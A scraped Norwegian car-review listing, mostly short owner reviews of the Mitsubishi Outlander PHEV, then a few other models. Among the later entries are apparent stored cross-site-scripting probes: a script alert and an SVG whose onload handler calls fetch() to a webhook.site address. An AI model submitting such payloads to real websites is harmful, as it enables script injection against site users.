Mitsubishi >
Outlander PHEV
Mitsubishi Outlander PHEV (2017)
Har kun hatt bilen i litt over 1mnd. men er så langt veldig fornøyd. Har mye små kjøring og har så langt stort sett kun kjørt elektrisk. Har fylt ca. 9 liter bensin til nå. Ser at rekkevidde
Mitsubishi Outlander PHEV (2017)
Elsker denne bilen! Fantastisk mye bil for pengene. Kjempefornøyd!
Mitsubishi Outlander PHEV (2016)
God å kjøre. God sittestilling med god oversikt.
Mitsubishi Outlander PHEV (2016)
Kjørt 170 000 på drøyt 7 år. Skiftet bremseskiver foran og bak. Det neste blir nok nytt 12V batteri. Fulgt servicer. Veldig pålitelig og praktisk bil med god bagasjeplass.
Mitsubishi Outlander PHEV (2016)
Billig familie bil som funker fint til hytta. Men blir nok første og siste hybrid bil på oss. Katastrofe med varmeapparatet. Her burde fabrikken kommet med en kompensasjon for di som er berør
Mitsubishi Outlander PHEV (2016)
Faktisk mye bil for pengene, men den er langt fra sportslig, og humper og svaier på de minste ujevnheter. Billig i daglig drift (hvis strømprisen er grei), og greit med plass, selv med to barn og st
Mitsubishi Outlander PHEV (2016)
Veldig fornøyd med bilen, men svært dyr i drift på vinteren under kalde forhold. (Nord-Norge) Det er eneste grunn til et evt utbytte av Outlanderen, ellers er man storfornøyd. Bilen tar seg veldig
Mitsubishi Outlander PHEV (2016)
God bil mhp motor og gear. Oversiktlig fører plass. Synes pris er realistisk ift. opplevelse av bilen. Uten statlig subsidier mener jeg denne bilen hadde blitt for dyr ift. hva du får.
Mitsubishi Outlander PHEV (2016)
Bilen gir et veldig bra total inntrykk, man kjører med stor sannsynlighet også en mer driftssikker bil en om man går for et tysk merke i samme prisklasse. Er man litt pirkete og vil ha et høyt niv
Mitsubishi Outlander PHEV (2016)
Veldig god bil.
Mitsubishi Outlander PHEV (2016)
Fin bil med god plass og god økonomi hvis man ikke kjører langt i det daglige.
Mitsubishi Outlander PHEV (2016)
Mye bil for pengene, men særdeles dårlig byggekvalitet på seter og ikke best på sittekomfort heller.
Mitsubishi Outlander PHEV (2016)
Kjøpt ny, 4 år, ingen feil hittil, suveren vinterbil. Grei bil men seter kunne vært bedre og fjæringskomfort er inle optimal
Mitsubishi Outlander PHEV (2016)
Grei bil for kortere turer. God på vinterføre Dyre servicer. Gjennomsnitt bensinforbruk på sommer/vinter 0,4/0,6. Variert kjøring med ukentlige turer på opptil 120km men også mye småkjøring 6
Mitsubishi Outlander PHEV (2016)
Er veldig fornøyd med bilen, men kunne ønsket lengre rekkevidde på el.
Mitsubishi Outlander PHEV (2016)
Totalt er jeg fornøyd med bilen, men syns de har spart for mye innvendig. Savner belyste betjeningsknapper i dører, samt rødt lys nederst på dørene når de er åpnet.. Savner også glasstak samt
Mitsubishi Outlander PHEV (2016)
Fin bil med gode seter som tar seg bra fram på vinterføre. Kjørte 120 mil med kun 1 time pause. Litt mye plast i interiør og mye alarmer som piper i hytt og pine. Burde vært mulig å skrudd av n
Mitsubishi Outlander PHEV (2016)
Bra bil - lav pris. Lite minus på start i isete bakke med 4wd.
Mitsubishi Outlander PHEV (2016)
Fornøyd med bilen totalt. Fin på fremkommelighet.
Mitsubishi Outlander PHEV (2016)
"Alt" er bra - med et unntak for glatte nedoverbakker vinterstid. 2 tonn kommer lett "i siget" med få muligheter til å skrubbe forsiktig (ABS har ingen virkning da).
Mitsubishi Outlander PHEV (2016)
Mye bil for pengene med masse komfort utstyr. Fungerer fint som familiebil og et greit alternativ for de som vil kjøre ladbar hybrid, og trenger 4wd.
Mitsubishi Outlander PHEV (2016)
9
Mitsubishi Outlander PHEV (2016)
Mye bil for penge totalt, høyt forbruk ved kjøring over 5 mil, lav kvalitetsfølelse og kjøreegenskaper lavere enn snittet for SUV. Firehjulsdrift er for vei, kupert underslag svikter den fort. I
Mitsubishi Outlander PHEV (2016)
Kjempefornøyd med bilen! Fikk 1-i-2. En elbil på korte kjøringer og en stor SUV for fjell-/langtur. Drivstoff forbruk er på ett greit nivå, så lenge man lader bilen (der er jo derfor kjøper
Mitsubishi Outlander PHEV (2016)
Første hybridbil og første japanske bil etter et liv med franske biler. Ikke samme kjøreglede og komfort som Citroën, men jeg er riktig godt fornøyd likevel.
Mitsubishi Outlander PHEV (2016)
Billig i drift til å være en god og stor 4wd.
Mitsubishi Outlander PHEV (2016)
Anbefaler denne bilen på det varmeste.
Mitsubishi Outlander PHEV (2016)
En billig bil som likevel ikke står til forventningen.
Mitsubishi Outlander PHEV (2016)
Den mest komplette bil!
Mitsubishi Outlander PHEV (2016)
Alt i alt - kjempebil. Kanskje en av de beste familiebilene i den størrelsen kontra prisklasse. Litt mye som piper i bilen hele tiden, men det er bare å skru av det man ikke trenger av varsler. Men
Mitsubishi Outlander PHEV (2016)
Beste bilen jeg har hatt. Stødig og god på veien. Støysvak. God plass. Kjører (nesten) bare strøm til og fra jobb. Lader hjemme og på jobb. Må forvarme 30 minutter før kjøring for å få effe
Mitsubishi Outlander PHEV (2016)
Godt fornøyd, men kjøper neppe ladbar hybrid igjen. Har denne pluss liten bensinbil, regner med at etter hvert blir det en liten elbil og en større bensindrevet en til lengre turer.
Mitsubishi Outlander PHEV (2016)
Angrer ikke ett sekund på at vi kjøpte denne bilen :-)
Mitsubishi Outlander PHEV (2016)
Strålende bil
Mitsubishi Outlander PHEV (2016)
Pen, komfortabel og stor bil. Får mye bil ift til prisen og bilen er deilig å kjøre.
Mitsubishi Outlander PHEV (2016)
En barsk bil med topp kjøreegenskaper.
Mitsubishi Outlander PHEV (2016)
Elendige fjernlys, savner AppleCarPlay, Skulle likt å ha sportsmodus der el og bensin jobber sammen fra start.
Mitsubishi Outlander PHEV (2016)
Dyrt drivverk med tre motorer og batteri er kompensert med "billige" løsninger. Fraværende brukervennlighet. Billig i drift dersom du kan kjøre på batteri, men det begrenser seg til 29 km tur/retu
Mitsubishi Outlander PHEV (2016)
Vi er veldig fornøyd med bilen, angrer ikke på bilbytte som vi gjorde i fjor.
Mitsubishi Outlander PHEV (2016)
Holder man seg unna useriøse forhandlere (f.eks. Bilcentrum Trondheim) forblir opplevelsen av denne bilen suveren. Det beste kjøpet av bil jeg har gjort siden jeg kjørte opp i 1989. Herlig støyfri
Mitsubishi Outlander PHEV (2016)
Har kjørt ca 15000 km hittil fra mai -16. Bilen er en nytelse å kjøre.
Mitsubishi Outlander PHEV (2016)
Deilig bil å kjøre. Lades det etter hver tur er det lavt forbruk på bilen. God plass i baksete tross lange ben hos fører.
Mitsubishi Outlander PHEV (2016)
Mitsubishi Outlander PHEV (2016)
Super bil, men litt kjedelig interiør
Mitsubishi Outlander PHEV (2016)
Veldig godt fornøyd og angrer ikke på kjøp av ny Mitsubishi PHEV 2016
Mitsubishi Outlander PHEV (2016)
Med forvarming av kupé og batteri kam man kjøre rent elektrisk i 20 km vinterstid. Uten forvarming vil bensinmotor kople seg inn for å gi varme til kupé. Likevel blir dette god økonomi - vel å m
Mitsubishi Outlander PHEV (2016)
Topp bil
Mitsubishi Outlander PHEV (2016)
Altfor mye varselpiping som ikke kan skrus av.
Mitsubishi Outlander PHEV (2016)
Romslig, komfortabel og praktisk bil som egner seg best til småturer hvor man kan bruke batteridrift, dvs inntil 40km t/r. Perfekt hvis man har tilgang til gratis strøm på f.eks jobb.
Mitsubishi Outlander PHEV (2016)
God bil kan anbefales til andre.
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km